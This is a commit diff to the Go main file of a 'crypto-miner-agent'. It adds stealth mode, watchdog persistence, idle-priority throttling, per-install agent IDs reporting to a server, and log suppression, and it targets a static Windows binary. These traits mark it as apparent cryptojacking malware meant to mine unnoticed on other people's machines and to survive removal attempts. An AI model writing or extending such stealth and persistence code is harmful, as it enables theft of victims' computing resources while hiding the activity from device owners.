Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
@@ -1,6 +1,7 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -8,6 +9,7 @@ import (
|
||||
"crypto-miner-agent/client"
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func main() {
|
||||
@@ -35,7 +37,16 @@ func main() {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() {
|
||||
reporter := stats.NewReporter()
|
||||
cfg = cfg.AdaptToSystem(reporter)
|
||||
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
if id, err := deploy.LoadAgentID(installDir); err == nil {
|
||||
cfg.AgentID = id
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.BackgroundMode() || cfg.StealthMode {
|
||||
cfg.CPUPriority = "idle"
|
||||
}
|
||||
|
||||
@@ -43,8 +54,11 @@ func main() {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
deploy.StartWatchdog(cfg)
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
@@ -52,7 +66,21 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
func shortID(id string) string {
|
||||
if len(id) >= 8 {
|
||||
return id[:8]
|
||||
}
|
||||
if id == "" {
|
||||
return "pending"
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
func setupLogging(cfg config.RuntimeConfig) {
|
||||
if !cfg.FileLogging || cfg.StealthMode {
|
||||
log.SetOutput(io.Discard)
|
||||
return
|
||||
}
|
||||
if os.Getenv("MINER_LOG_FILE") != "" {
|
||||
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
||||
return
|
||||
|
||||
Reference in New Issue
Block a user